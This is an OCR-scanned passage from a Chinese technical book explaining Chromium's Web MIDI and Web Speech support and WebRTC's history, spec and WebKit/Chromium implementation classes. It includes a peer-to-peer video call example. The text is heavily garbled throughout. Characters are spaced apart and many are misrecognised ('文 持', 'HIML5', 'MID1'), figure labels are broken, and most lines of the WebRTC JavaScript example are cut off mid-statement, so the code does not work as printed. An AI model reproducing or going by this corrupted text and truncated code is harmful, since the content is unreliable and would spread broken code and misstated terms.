在 Chromium 的 开发 者 版 本 中 加 入 了 Web MIDI 的 支持 ， 这 是 一 个 非常 大 
的 进展 ， 虽 然 只 是 处 于 起 步 阶段 。 





WebKit 和 Chromium 对 于 Web MIDI 的 支持 主要 包括 三 个 部 分 ， 第 一 
是 加 入 JavaScript 的 绑 定 ， 这 个 技术 前 面 已 经 介绍 过 了 ; 第 二 是 将 对 
MIDI 接 口 的 支持 从 Renderer 进 程 桥接 到 Browser 进 程 ， 第 三 是 Chromium 
的 具体 实现 ， 如 图 11-17 所 示 。 


MIDIManager MIDIPortinfo 


+StartSession() -manufacturer 
+EndSession() i 


+DispatchSendMIDIData() 


() 





图 11-17 ” Chromium 中 的 MID1 实 现 类 们 


11.3.4 Web Speech 


HIML5 对 声音 方面 的 文 持 绝 不 仅仅 是 上 面 介 绍 的 这 么 多 ， 现 在 还 
有 一 项 非常 重要 的 应 用 ， 那 就 是 语音 识别 技术 (Speech-to-Text) 和 合成 
语音 技术 (Text-to-Speech) ， 它 们 已 经 被 广泛 地 应 用 在 很 多 领域 。 简 单 
来 说 ， 束 是 从 语音 识别 出 文本 文字 和 从 文本 文字 生成 声音 资源 。 





HTML5 中 的 “Web Speech API 是 由 Google 公 司 发 起 的 规范 ， 其 目的 
是 将 语音 识别 和 合成 语音 技术 提供 给 JavaScript 接 口 ， 这 样 Web 前 端 开 发 
者 可 以 在 网 页 中 使 用 它们 。 上 所以， 这 一 规范 主要 包括 两 个 接口 : 
SpeechRecognition 和 SpeechSynthesis， 分 别 标识 上 述 两 种 功能 。 


自然 而 然 地 ，W3C 定 义 了 两 个 主要 的 接口 ， 分 别 对 应 识别 和 合成 技 
术 ， 接 口 定 义 比 较 清 晰 简单 ， 例 如 对 于 SpeechRecognition， 当 调用 start(0) 
函数 时 就 开始 语音 识别 ， 而 后 面 的 事件 句柄 则 是 让 开发 者 知道 识别 的 状 
态 ， 当 识别 完成 之 后 ， 可 以 通过 监 昕 “onresult”* 来 获取 识别 的 结 








interface SpeechRecoginition { interface SpeechSynthesis { 





void start(); readonly attribute boolean pending; 
void stop(); readonly attribute boolean speaking; 
void abort(); readonly attribute boolean paused; 
attribute EventHandler onaudiostart; 

attribute EventHandler onsoundstart; void speak (SpeechSynthesisUtterance utterance) ; 
attribute EventHandler onspeechstart; void cancel (); 

attribute EventHandler onspeechend; void pause (); 

attribute EventHandler onsoundend; void resume(); 

attribute EventHandler onaudioend; SpeechSynthesisVoiceList getVoices(); 
attribute EventHandler onresult; ti 

attribute EventHandler onnomatch; 

attribute EventHandler onerror; 

attribute EventHandler onstart; 

attribute EventHandler onend; 

















} 

















图 11-18 W3C Speech AP1 草 案 定 义 的 主要 接口 


而 对 于 SpeechSynthesis 接 口 ， 规 范 定 义 的 主要 是 speak() 方 法 ， 该 方 
法 的 参数 SpeechSynthesisUtterance 非 常 重要 。 该 参数 包含 了 输入 的 文 
本 ， 并 能 提供 各 种 合成 过 程 中 的 状态 ， 实 际 输出 结果 可 以 通过 调用 
getVoices(O) 函 数 来 获得 语音 结果 。 


遗憾 的 是 ， 目 前 Chromium 中 对 该 规范 的 实现 依赖 于 Google API (tH 
就 是 网 络 服务 接口 ) ， 这 也 意味 着 用 户 不 能 离线 使 用 这 些 功能 ， 因 为 语 
音 的 识别 是 需要 服务 器 端 提 供 的 能 力 。 同 时 还 有 一 个 问题 ， 如 条 开发 者 
希望 自己 在 Chromium 中 编译 一 个 浏览 器 或 者 其 他 应 用 ， 可 是 这 些 功 能 
是 受 限 的 ， 开 发 者 必须 向 Google 申 请 一 个 称 为 “API Keys” 的 密 钥 文件 ， 
也 就 是 必须 获得 使 用 这 些 Google API 的 授权 。 在 未 来 ， 笔 者 希望 能 够 有 
不 依赖 于 服务 的 语音 识别 和 合成 语音 技术 的 出 现 。 














11.4 WebRTC 


11.4.1 历史 


相信 读者 都 有 过 使 用 Tencent ”QQ 或 者 FaceTime 进 行 视频 通话 的 经 
历 ， 这 样 的 应 用 场景 相当 典型 和 流行 ， 但 是 基本 上 来 说 它们 都 是 每 个 公 
司 推出 的 私有 产品 ， 而 且 通 信 等 协议 也 都 是 保密 的 ， 这 使 得 一 种 产品 的 
用 户 基 本 上 不 可 能 同 其 他 产品 的 用 户 进 行 视频 通信 。 还 有 一 些 更 大 的 应 
用 场景 ， 那 就 是 众多 用 户 一 起 召开 视频 会 议 ， 这 比 简单 的 点 对 点 更 为 复 
杂 ， 很 多 公司 已 投 寻 其 中 ， 因 为 这 一 市 场 非常 广大 。 














几 年 前 ， 笔 者 是 很 难 想象 这 么 复杂 的 需求 和 应 用 场景 能 够 在 Web 领 
域 中 被 实现 ， 但 是 现在 Chromium 和 Firefox 浏 览 器 都 支持 Web 视 频 通 信 ， 
而 且 神 奇 的 是 它们 之 间 也 可 以 相互 通信 ， 听 起 来 非常 不 可 思议 一 一 只 是 
需要 Web 开 发 者 使 用 JavaScript 和 HTML5 技 术 就 可 以 完成 ， 还 是 免费 
的 ， 而 且 还 不 需要 额外 安装 应 用 软件 ， 不 需要 额外 安装 插件 。 现 在 真是 
互联 网 和 HTML5 技 术 的 好 时 代 ， 这 也 是 HIML5 的 多 媒体 领域 的 一 个 重 
大 进展 。 











WebRTC (Web Real Time Communication) 技术 ， 中 文 全 称 为 Web 
实时 通信 技术 ， 它 是 一 种 提供 实时 视频 通信 的 规范 ， 目 前 是 W3C 推 荐 的 
规范 。 它 是 一 个 开放 的 规范 ， 任 何人 都 可 以 免费 使 用 ， 目 前 
Chromium/Chrome 和 Firefox 浏 览 器 都 文 持 了 该 规范 。WebRTC 是 HTML5 
对 多 媒体 支持 的 一 个 重大 进展 ， 因 为 该 技术 不 仅 使 用 了 音 视频 的 输入 和 
输出 ， 而 且 还 涉及 连接 等 网 络 连 接 ， 是 一 个 非常 复杂 但 非常 有 用 的 技 


术 。 图 11-19 是 一 个 简单 的 示意 图 ， 说 明 两 个 支持 WebRTC 规 范 的 浏览 器 
之 间 是 如 何 进行 视频 通信 的 。 事 实 上 ，WebRTC 既 允许 使 用 服务 器 来 进 
行 通信 ， 也 支持 点 对 点 (Peer-to-Peer) 通信 ， 当 然 需要 服务 器 的 辅助 。 


Chromium/ ki 
Firefox 
Chrome 












标准 协议 





we 


图 11-19 Chromium/XChrome 和 Firefox 浏 览 器 的 视频 通信 示例 图 





不 过 ， 很 多 事情 并 非 是 一 路 而 就 的 ， 何 况 这 么 复杂 的 WebRTC 技 
术 ，WebRTC 发 展 至 今世 经 历 了 很 长 的 过 程 。 首 先 得 从 一 个 音 视 频 的 捕 
获 需 求 开始 。 最 初 ，HIML5 和 希望 能 够 提供 一 种 捕获 用 户 音 频 和 视频 的 
技术 ， 这 就 是 getUserMedia， 当 然 刚 开始 也 不 是 它 ， 而 是 使 用 下 面 的 语 
句 来 完成 音频 和 视频 的 捕获 。 





<input type="file" accept="video/*;capture=camcorder"> 


<input type="file" accept="audio/*;capture=microphone"> 


但 是 它们 太 人 简单 了 ， 只 能 将 捕获 的 信息 保存 为 一 个 文件 或 者 一 个 快 
照 ， 这 显然 不 能 满足 很 多 实际 的 需求 ， 之 后 一 个 新 的 元 素 定 义 诞 生 ， 驶 
是 使 用 "device” 元 素 ， 这 一 元 系 很 快 被 抛弃 。 这 就 是 getUserMedia 的 前 
号 ， 但 标准 化 组 织 很 快 从 *device” 元 素 转 癌 getUserMedia， 它 的 基本 使 用 


方式 是 : 





navigator.getUserMedia({video: true, audio: true}, function ( 


思想 很 简单 ， 就 是 在 navigator 这 个 全 局 对 象 下 加 入 一 个 新 接口 ， 议 
接口 使 用 两 个 参数 ， 第 一 表示 它 需 要 捕获 视频 或 者 音频 或 者 两 者 都 需 
要 ， 第 二 个 是 一 个 回调 函数 ， 当 捕获 成 功 后 ， 将 捕获 的 视频 流 可 以 输出 
到 一 个 视频 元 素 ， 这 了 就 像 是 一 个 从 服务 器 加 载 的 视频 文件 ， 当 然 它 是 一 
个 视频 流 ， 所 以 某 些 查找 〈Seek) 操作 不 能 工作 。 这 里 ， 不 再 使 用 新 元 
素 ， 而 是 利用 原 有 的 “video” 元 素 ， 实 在 是 一 个 好 的 设计 。 





在 这 之 后 ， 一 个 更 为 大 胆 和 激进 的 想法 诞生 了 ， 就 是 将 RTC 技 术 引 
入 到 HTML5 中 来 ， 这 就 是 WebRTC 技 术 ， 因 为 getUserMedia 是 入 口 ， 所 
以 自然 而 然 地 被 使 用 到 WebRTC 技 术 的 规范 中 来 。 


11.4.2 原理 和 规范 


大 家 可 以 在 脑海 中 想象 一 下 如 何 要 构建 一 个 网 络 视频 通信 、 需 要 哪 
些 部 分 的 参与 及 共同 工作 才能 完成 整个 过 程 。 总 体 上 ， 这 一 过 程 中 需要 
三 种 类 型 的 技术 ， 其 一 是 视频 ， 其 二 是 音频 ， 其 三 是 网 络 传输 。 在 这 三 
种 技术 上 ， 有 具体 需要 以 下 一 些 部 分 。 





。 首 视 频 输入 和 输出 设备 ”: 同音 视频 播放 不 同 ， 因 为 它们 只 是 需要 
和 输出 设备 ， 这 里 需要 输入 和 输出 设备 〈 奏 元 风 和 摄像 头 ) 。 同 时 ， 
和 输入 使 用 getUserMedia 技 术 ， 而 输出 ， 基 本 上 可 以 采用 音 视 频 播放 
的 基本 框 杂 ， 当 然 ， 需 要 一 些 额 外 的 文 持 。 

。 网 络 连接 的 建立 ”: 因为 视频 通信 需要 不 停 地 传送 大 量 数据 ， 所 以 
再 要 建立 一 种 可 靠 的 网 络 连接 来 让 各 个 参与 方 传输 数据 。 

。 数据 捕获 、 编 码 和 发 送 : 当 用 户 打 开设 备 之 后 ， 需 要 捕获 这 些 数 











据 并 对 它们 进行 编码 ， 因 为 原始 数据 的 数据 量 太 大 ， 然 后 需要 将 编 
码 后 的 数据 通过 连接 传输 出 去 。 

。 数据 接收 、 解 码 和 显示 “: 接收 来 自 其 他 方 的 数据 流 并 进行 解码 ， 
然后 显示 出 来 ， 这 个 需求 跟 播放 媒体 文件 的 需求 比较 类 似 。 


根据 上 面 的 解释 ， 不 难 理解 图 11-20 所 描述 的 过 程 ， 结 合 这 些 主要 
组 成 部 分 ， 构 成 了 一 个 比较 完整 的 首 视 频 通 信 过 程 。 








音 视频 数据 捕获 、 数据 接收 、 音 视 频 
输入 设备 编码 和 发 送 解码 和 显示 输出 设备 
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图 11-20 ”使 用 WebRTC 技 术 的 视频 通信 详细 过 程 


下 面 了 解 一 下 规范 中 如 何 针对 上 面 的 描述 来 定义 相应 的 JavaScript 接 
口 的。 根据 目前 W3C 推 荐 的 规范 草案 ， 主 要 包括 以 下 几 个 部 分 。 





e Media Capture and Streams 规 范 和 WebRTC 对 它 的 扩展 ， 这 个 主要 是 
依赖 摄像 头 和 麦克 风 来 捕获 多 媒体 流 ，WebRTC 对 它 进行 扩展 ， 使 
得 多 媒体 流 可 以 满足 网 络 传输 用 途 ， 也 就 是 “video” 元 素 可 以 来 源 于 
多 媒体 流 而 不 仅仅 是 资源 文件 。 

。 点 到 点 的 连接 ， 也 就 是 规范 中 的 RTCPeerConnection 接 口 ， 它 能 够 
建立 端 到 端的 连接 ， 两 者 直接 通过 某 种 方式 传输 控制 信息 ， 至 于 方 
式 并 没有 进行 规定 。 

。 RTCDataChannel 接 口 ， 通 过 该 接口 ， 通 信 双 方 可 以 发 送 任 何 类 型 的 
消 轧 ， 例 如 文本 或 者 二 进 制 数 据 ， 这 个 不 是 必须 的 。 不 过 这 一 功能 





极 大 地 方便 了 开发 者 ， 其 主要 思想 来 源 于 WebSocket。 


11.4.3 ”实践 一 一 一 个 WebRTC 例 子 


在 介绍 内 部 原理 之 前 ， 笔 者 希望 通过 剖析 W3C 规 范 中 的 一 个 例子 来 
进一步 加 深 对 它 的 理解 。 示 例 代 码 11-5 来 源 于 W3C WebRTC 规 范 中 的 示 
例 人 代码， 笔者 稍微 作 了 一 些 修改 以 简化 理解 ， 并 加 入 注释 作 进 一 步 说 
BA 





这 里 主要 是 点 对 点 的 直接 通信 ， 当 然 需 要 借助 于 网 络 提供 的 NAT 服 
务 ， 其 中 包括 三 个 文件 ， 第 一 个 是 双方 共享 的 JavaScript 代 码 ， 第 二 个 是 
发 起 端的 HTML 代码， 第 三 个 是 接收 端的 HTML 代码。 通 冲 第 二 个 和 第 
三 个 可 以 是 一 样 的 ， 这 里 为 了 方便 理解 作 了 少许 区 别 。 因 为 代码 中 已 经 
作 了 较为 详细 的 讲解 ， 所 以 后 面 不 再 歼 述 其 中 的 原理 。 








示例 代码 11-5 使 用 WebRTC 技 术 的 P2P 网 络 视频 通信 


JavaScript 文 件 : common.js 

// 创建 消息 通道 ， 例 如 使 用 XMLHttpRequest 或 者 WebSocket。 根 据 webRTC 规 3 
// 本 身 WebRTC 不 提供 双方 进行 控制 信息 传输 的 通道 ， 由 开发 者 自行 选择 合适 的 方 ; 
// 这 里 ， 简 单 使 用 一 个 函数 表示 创建 了 一 个 通道 ， 该 通道 包含 一 个 能 够 发 送 消息 的 


















































var signalChannel = createSignalChannel(); 








- 


// 将 ICE 的 Candidate 发 送 给 对 方 ， 这 个 是 ICE 定 义 的 ， 主 要 是 ICE 协 议 用 来 建立 
// 要 的 信息 。 双 方 需要 交互 这 个 信息 


function sendCandidate(candidate) { 
































if (candidate) signalChannel.send(JSON.stringify({ "candida 


} 
function sendDescription() { 
signalingChannel.send(JSON.stringify({ "sdp": conn.localDes 
} 
signalingChannel.onmessage = function (event) { 
// 如 果 没 有 建立 连接 ， 需 要 创建 ， 在 这 里 表明 这 是 接受 者 端 
if (conn == null) start(); 
// 从 控制 信息 中 获取 信息 内 容 


var message = JSON.parse(event.data); 

















= 



































// 如 果 信 息 类 型 是 设置 Description 相 关 的 ， 就 调用 setRemoteDescripti 





if (message.sdp) { 
conn.setRemoteDescription(new RTCSessionDescription(messa 
// 如 果 受 到 一 个 请 求 Coffer) ， 需 要 答复 它 ， 这 里 应 该 是 接收 方 处 理 的 


if (conn.remoteDescription.type == "offer") { 


























conn.createAnswer(function(desc) { 
conn.setLocalDescription(desc, sendDescription); 
+); 

} else if (message.candidate) { 


conn.addIceCandidate(new RTCIceCandidate(message.cand 


}; 

// 用 来 存放 RTCPeerConnection 对 象 

var conn = null; 

// 用 来 显示 从 自身 设备 捕获 的 多 媒体 流 

var selfView = document.getElementById("selfView"); 
// 用 来 显示 从 对 方 传送 过 来 的 多 媒体 流 


var remoteView = document.getElementById("remoteView" ); 





// 开始 创建 连接 等 
function Start() { 
// 创建 连接 
conn = new RTCPeerConnection({ "iceServers": [{ "url": "stu 
// 保存 从 自身 捕获 的 多 媒体 流 
var capturedStream = null; 
// 捕获 音 视 频 
navigator.getUserMedia({ "audio": true, "video": true }, fu 
// 将 捕获 的 多 媒体 流 使 用 “video” 元 素 播放 出 来 


selfView.src = URL.createObjectURL(stream); 

















capturedStream = stream; 
} 
// 将 多 媒体 流 加 入 连接 


conn.addStream(capturedStream) ; 











// 接收 到 ICE _ Candidate 事件 ， 需 要 将 candidate 信 息 传 送 给 对 方 





conn.onicecandidate = function (event) { 
sendCandidate(event.candidate) ; 

}; 

// 这 个 是 由 发 起 者 调用 ， 因 为 接收 者 不 会 发 送 该 事件 

conn.onnegotiationneeded = function() { 
// 创建 一 个 0ffer， 然 后 发 送 给 接收 者 


conn.createOffer(function (desc) { 





























conn.setLocalDescription(desc, sendDescription); 
); 
H); 





// 将 远 端 多 媒体 流 使 用 “video” 元 素 显 示 出 来 
conn.onaddstream = function (evt) { 


remoteView.src = URL.createObjectURL(evt.stream); 


}; 


发 起 者 HTML 文 件 节选 : 


<video id="selfView" autoplay ></video> 





<video id="remoteView" autoplay></video> 

<script src='common.js'></script> 

<script> 
// 上 面 的 两 个 "Video" 元 素 分 别 用 来 显示 自己 捕获 的 多 媒体 流 和 对 方 的 多 媒体 
// 实际 情况 中 ， 可 能 是 某 个 用 户 作为 发 起 者 单 击 了 开始" 按钮， 启动 音 视频 通 { 
start(); 














</script> 


接受 者 HTML 文 件 节选 : 


<video id="selfView" autoplay ></video> 





<video id="remoteView" autoplay></video> 


<script src='common.js' type='javascript'></script> 


相信 通过 上 面 的 代码 介绍 ， 读 者 应 该 理解 使 用 WebRTC 构 建 一 个 
P2P 视 频 通信 的 基本 过 程 ， 这 其 中 网 络 连 接 的 部 分 主要 基于 ICE 协 议 
(NAT) 和 SDP 协 议 ， 以 及 一 些 文 持 NAT 的 辅助 设施 〈STUN 和 
URN) ， 有 兴趣 的 读者 可 以 自行 查阅 相关 技术 文档 。 


11.4.4 WebKit 和 Chromium 的 实现 


下 面 来 看 一 看 WebKit 和 Chromium 是 如 何 支 持 WebRTC 规 范 的 。 笔 
者 首先 需要 澄清 一 下 关于 WebRTC 的 两 种 解释 ， 本 节 中 会 有 两 种 
WebRTC 用 法 : 一 种 是 指 wWebRTC 这 项 技术 和 规范 ， 另 一 种 是 WebRTC 
这 个 项 目 ， 它 是 支持 WebRTC 规 范 的 一 个 开源 项 目 。 默 认 情 况 下 是 指 前 
者 ， 如 果 是 指 WebRTC 这 个 开源 项 目 ， 笔 者 会 明确 指出 。 





下 面 来 了 解 一 下 从 webrtc.org 上 介绍 的 关于 支持 WebRTC 技 术 的 内 部 
框架 和 功能 模块 ， 图 11-21 来 源 
于 “http://www.webrtc.org/reference/architecture” 的 架构 图 ， 但 是 缩减 了 其 
中 一 些 部 分 。 这 里 所 示 的 是 实现 了 WebRTC 功 能 的 开源 项 目 染 构图 。 





图 11-21 中 主要 包括 三 大 方面 ， 即 语音 、 视 频 和 传输 ， 它 们 三 个 构 
成 了 WebRTC 的 主要 组 成 部 分 。 其 中 iSAC (internet Speech Audio 
Codec) 和 iLBC (internet Low Bitrate Codec) 是 两 种 不 同 的 音频 编码 格 
式 ， 是 为 了 适应 互联 网 的 语 首 传输 要 求 而 存在 的 ， 前 者 是 针对 带 客 比较 
大 的 情况 ， 后 者 针对 帝 宽 较 小 的 情况 ， 目 前 都 是 可 以 免费 使 用 的 。 其 中 
VP8 同 样 是 Google 提 供 免 费 视频 格式 ， 前 面 介绍 过 了 。 传 输 部 分 主要 是 
加 入 了 对 前 面 协议 的 文 持 模块 。 在 会 话 管理 中 ， 主 要 使 用 一 个 开源 项 目 
libjingle 来 进行 管理 。 下 面 灰 色 部 分 主要 是 WebRTC 工 作 时 依赖 的 下 层 功 
能 的 接口 ， 在 Chromium 浏 览 器 中 ， 它 会 提供 相应 接口 和 功能 给 WebRTC 
使 用 。 





RTCPeerConnection 接口 


会 话 管理 和 抽 线 的 控制 信息 会 话 (libjingle) 
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图 11-21 WebRTC 项 目的 架构 图 


上 面 是 WebRTC 开 源 项 目的 架构 图 ， 在 Chromium 中 ， 通 常 使 用 
WebRTC 项 目 来 完成 WebRTC 规 范 的 功能 ， 并 使 用 libjingle 项 目 来 建立 点 
到 点 的 连接 。 所 以 ，Chromium 主 要 的 目的 是 将 WebRTC 和 1libjingle 的 能 
力 桥 接 到 浏览 右 中 来 ， 先 看 WebRTC 规 范 中 建立 连接 所 需要 的 相关 基础 
设施 ， 图 11-22 是 WebKit、Chromium 及 Chromium 中 使 用 libjingle 的 类 的 
层次 图 。 
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图 11-22 ”WebKit 和 和 Chromium 建立 连接 的 基础 设施 



































基础 设施 主要 分 成 三 个 层次 ， 上 自 先 是 WebKit， 也 就 是 最 上 面 的 部 
分 。 该 部 分 最 上 面 的 类 是 RTCPeerConnection， 从 名 字 就 可 以 猿 出 ， 该 
类 是 对 WebRTC 连 接 的 接口 类 ， 实 际 上 它 就 是 从 规范 中 定义 的 
RTCPeerConnection 接 口 文 件 生成 的 基本 框架 ， 当 然 真 正和 JavaScript 引 
擎 打交道 还 需要 一 个 桥接 类 。 该 桥接 类 包含 一 个 实际 实现 的 连接 类 句柄 
m_peerHandler， 它 是 这 个 连接 所 包含 的 本 地 多 媒体 流 和 远 端 对 方 的 多 
媒体 流 。 读 者 可 以 想象 一 下 视频 会 议 的 场景 ， 首 先 Webkit 需 要 将 本 地 的 
多 媒体 流 收 集 起 来 ， 通 过 连接 传输 给 对 方 ， 本 地 可 以 选择 是 否 通 
过 “video” 播 放 。 同 时 需要 接收 从 对 方 传输 过 来 的 多 媒体 流 ， 这 也 是 
WebRTC 的 主要 部 分 。 当 然 还 包括 DataChannel 相 关 对 象 ， 这 里 没有 标 
出 。 











至 于 接 下 来 的 部 分 束 是 WebKit 的 实现 类 ， 该 类 能 够 满足 
RTCPeerConnection 的 功能 要 求 ， 但 是 它 需 要 通过 不 同 移植 的 实现 才能 
完成 ， 因 为 本 身 WebKit 的 WebCore 并 没有 这 样 的 能 力 。 在 WebKit 的 
Chromium 中 同样 定义 了 两 个 类 WebRTCPeerConnectionHandler 和 











WebRTCPeerConnectionHandlerClient， 根 据 WebKit 的 类 名 定义 方式 ， 前 
者 是 需要 Chromium 来 实现 ， 而 后 者 则 是 由 Chromium 调 用 ， 并 由 WebKit 
来 实现 的 ， 这 里 主要 是 应 用 连接 事件 的 监听 函数 ， 所 以 WebKit 能 够 将 它 
们 传递 给 JavaScript 引 擎 。 


之 后 是 Chromium 的 实现 类 。RTCPeerConnectionHandler 类 继承 自 
WebKit 的 Chromium 移 植 的 接口 类 ， 并 做 了 具体 的 实现 ， 这 就 是 
content::RTCPeerConnectionHandler， 它 同时 集成 自 
PeerConnectionHandleBase 类 ， 而 该 类 拥有 了 支持 建立 连接 所 需 的 能 
力 ， 当 然 它 是 依赖 于 libjingle 项 目 提 供 的 连接 能 力 。 








libjingle 提 供 了 建立 和 管理 连接 的 能 力 ， 文 持 透 过 NAT 和 防火 墙 设 
备 、 代 理 等 建立 连接 。1libjingle 不 仅 文 持 点 到 点 的 连接 ， 也 文 持 多 用 户 
连接 。 同 时 还 包含 了 连接 所 使 用 的 MediaStream 接 口 ， 这 是 因为 
Chromium 本 身 不 直接 使 用 WebRTC 项 目 提 供 的 接口 ， 而 是 调用 libjingle 
来 建立 连接 ， 并 使 用 libjingle 提 供 的 MediaStream 接 口 ， 而 libjingle 本 里 则 
会 使 用 WebRTC 项 目的 音 视频 处 理 引 擎 。 





接 下 来 要 介绍 的 是 多 媒体 流 ， 它 需要 一 个 非常 复杂 的 框架 ， 首 先 来 
看 WebKit 是 如 何 支持 getUserMedia 这 个 接口 的 。 图 11-23 描 述 了 
WebKit， 以 及 WebKit 的 Chromium 移 植 中 所 定义 的 接口 ， 图 中 虚线 上 半 
部 分 是 WebKit 中 的 类 ， 下 半 部 分 是 Chromium 中 的 类 。 
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图 11-23 ”WebKit 支 持 多 媒体 流 的 基础 设施 


最 上 层 是 webKit 文 持 多 媒体 诉 编 程 接口 提供 的 具体 实现 类 ， 如 
NavigatorMediaStream 类 ， 而 直接 同 V8 JavaScript 引 擎 桥接 的 类 是 
V8NavigatorUser-MediaSuccessCallback， 它 是 一 个 绑 定 类 。 因 为 
getUserMedia 接 口 主要 是 返回 一 个 MediaStream 对 象 ， 而 MediaStream 类 
可 以 提供 众多 访问 数据 流 的 接口 ， 而 连接 的 目的 就 是 需要 将 
MediaStream 对 应 的 多 媒体 流传 输出 去 。 图 中 UserMediaRequest 类 负责 请 
求 创建 一 个 MediaStream 对 象 。 在 WebKit 的 Chromium 移 植 中 ， 定 义 
WebUserMediaClient 为 一 个 接口 类 ，Chromium 需 要 新 建 子 类 来 实现 这 一 
功能 ， 这 就 是 Chromium 中 的 MediaStreamImpl 类 ， 它 在 后 面 的 介绍 中 还 
会 出 现 。 


WebKit 中 使 用 MediaStreamRegistry 类 来 注册 和 管理 对 应 的 类 ， 管 理 
类 根据 ID 信息 来 识别 各 个 多 媒体 数据 流 。 在 接口 层 中 ，Chromium 移 杆 
使 用 WebMediaStream 类 来 表示 多 媒体 流 ， 使 用 WebMediaStreamRegistry 
类 来 表示 注册 管理 类 。 








下 面 的 问题 是 MediaStream 接 口 需 要 提供 各 种 事件 给 网 页 ， 因 为 很 


多 实际 的 工作 是 在 Chromium 中 来 完成 的 ， 所 以 MediaStreamImpl 会 将 这 
些 事件 从 Chromium 传 递 给 WebKit。 同 时 因为 Chromium 的 多 进程 和 沙 箱 
模型 ， 一 些 工作 需要 在 Browser 进 程 中 完成 ， 所 以 可 以 见 到 如 图 11-24 所 
描述 的 跨 进 程 的 基础 设施 。 


MediaStreamDispatcherHost pC MediaStreamDispatcher MediaStreamimpl 
1 


MediaStreamManager 


图 11-24 ” Chromium 支持 MediaStream 接 口 基础 设施 


IPC 左 侧 部 分 是 Browser 进 程 中 的 两 个 主要 类 ， 分 别 是 消息 处 理 类 和 
MediaStream 的 管理 类 ， 该 管理 类 知道 MediaStream 对 应 的 网 页 是 什么 ， 
并 将 事件 《如 创建 和 销毁 等 ) 传 回 Renderer 进 程 。 右 侧 是 消息 派发 类 ， 
主要 帮助 MediaStreamImpl 类 来 完成 与 Browser 进 程 相关 的 MediaStream 消 
恩 的 传递 。 





实际 上 ，MediaStream 可 以 表示 本 地 的 多 媒体 流 ， 也 可 以 表示 远 测 
的 多 媒体 流 。 对 于 本 地 的 多 媒体 流 ， 需 要 音频 和 视频 的 捕获 机 制 ， 同 时 
使 用 上 面 建立 的 连接 传输 给 远 闫 。 对 于 远 问 的 多 媒体 瀛 ， 需 要 使 用 连接 
来 接收 数据 ， 并 使 用 到 音频 和 视频 的 解码 能 力 。 下 面 分 成 四 个 部 分 来 分 


别 介绍 。 


首先 是 音频 的 捕获 机 制 ， 图 11-25 描 述 了 该 机 制 使 用 的 主要 类 。 当 
网 页 需要 创建 多 媒体 流 的 时 候 ，MediaStreamImpl 会 创建 音频 捕获 类 ， 
也 就 是 WebRtcAudioCapturer 类 ， 如 图 中 上 半 部 分 。 因 为 捕获 音频 需要 
音频 输入 设备 ， 所 以 使 用 AudioDeviceFactory 工 厂 类 创建 一 个 逻辑 上 的 
AudioInputDevice 对 象 。 另 外 一 个 重要 的 类 是 webRtcAudioDeviceImpl， 
用 来 表示 音频 的 设备 ， 该 类 继承 目 WebRtcAudioDeviceNotImpl 类 。 这 其 


实 是 继承 自 libjingle 和 WebRTC 项 目 中 的 抽 线 接口 的 一 个 桥接 类 ， 用 来 表 
示 它 们 需要 的 音频 设备 ， 当 然 包 括 输入 设备 。 同 样 因为 Renderer 进 程 不 
能 访问 音频 输入 设备 ， 所 以 需要 IPC 来 完成 这 一 功能 ，Browser 进 程 的 
AudioImnputController 会 控制 和 访问 设备 ， 而 AudioInputDeviceManager 可 
以 管理 和 控制 所 有 输入 设备 。 
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2111-25 Chromium 本 地 捕获 音频 的 基础 设施 















































其 次 是 处 理 远 端 多 媒体 流 中 的 音频 解码 和 播放 功能 。 网 11-26 是 
Chromium 处 理 远 端 音频 流 所 需要 的 一 些 主 要 类 及 关系 图 。 这 里 不 涉 
连接 如 何 接收 传输 的 数据 ， 因 为 Chromium 是 使 用 libjingle 和 WebRTC 项 
目 来 完成 连接 的 功能 。Chromium 使 用 WebRtcAudioRender 类 来 完成 音频 
演 染 ， 该 桥接 类 会 被 WebMediaPlayer 作 为 演 染 音频 的 实现 类 ， 其 作用 主 
要 是 将 MediaStream 的 数据 同 实 际 的 音频 泻 染 类 结合 起 来 。 
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图 11-26 Chromium 处 理 远 端 音频 基础 设施 


再 次 是 从 视频 输入 设备 请 求 捕获 本 地 视频 流 ， 图 11-27 是 该 功能 依 
赖 的 一 些 主要 类 。 
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图 11-27 ”Chromium 本 地 捕获 视频 的 基础 设施 





站 先 看 虚线 右 侧 Renderer 进 程 中 的 设施 。 同 样 是 MediaStreamImpl 类 
发 起 ， 由 辅助 工厂 类 MeidaStreamDependencyFactory 帮 助 创建 一 个 
RtcVideoCapaturer， 用 来 获取 视频 。 该 类 有 两 个 作用 ， 其 一 是 实现 
libjingle 和 WebRTC 项 目 中 的 接口 类 ， 因 为 需要 视频 输入 的 实现 ， 这 个 同 
首 频 部 分 非常 类 似 。 另 外 就 是 将 调用 请 求 交 给 一 个 代理 类 来 完成 ， 这 就 
是 RtcVideoCaptureDelegate 类 。 下 面 的 就 比较 好 理解 了 ， 分 别 是 管理 类 
VideoCaptureImplManager 和 视频 捕获 类 VideoCaptureImpl， 并 包括 一 个 
发 送 消 息 到 Browser 进 程 的 辅助 类 。 在 Browser 进 程 使 用 控制 类 
VideoCaptureController 来 获取 VideoCaptureDevice， 该 类 会 使 用 摄像 头等 
视频 输入 设备 ， 效 果 都 相对 比较 简单 直观 。 








最 后 是 处 理 远 端 多 媒体 流 中 的 视频 解码 和 播放 功能 。 当 
MediaStreamImp1 对 象 接收 到 远 问 的 多 媒体 流 之 后 ， 它 会 使 用 WebRTC 来 
对 视频 数据 进行 解码 ， 因 为 可 以 使 用 硬件 来 解码 ， 所 以 提高 了 处 理 的 性 
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图 11-28 Chromium 处 理 远 端 视频 基础 设施 


把 WebRTC 整 个 过 程 综 合 起 来 分 析 ， 可 以 有 一 种 更 为 整体 和 直观 的 
感受 ， 如 图 11-29 所 示 。 读 者 可 以 结合 这 个 图 来 回味 一 下 之 前 所 描述 的 
众多 细节 。 图 中 没有 本 地 捕获 的 音 视频 的 播放 过 程 ， 因 为 它们 不 是 必须 
的 ， 而 且 同 播放 远 端 多 媒体 流 类 似 ， 这 里 便 不 再 痪 述 。 
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2111-29 WebKit、Chromium、1ibjingle 和 WebRTC 等 项 目 支 持 WebRTC 规 范 的 框架 





目前 ， 在 Chrome 浏 览 器 中 ， 基 于 WebRTC 的 网 页 已 经 可 以 在 移动 操 
作 系 统 〈 如 Android) 上 获得 文 持 ， 移 动 领域 的 进展 必 将 推动 该 技术 的 
进一步 发 展 。 回 顾 本 章 介 绍 的 多 媒体 各 个 方面 的 技术 ， 读 者 可 以 看 出 ， 
HIML5 技 术 不 仅 引 入 了 多 媒体 的 文 持 ， 而 且 加 入 了 之 前 插件 也 不 能 文 
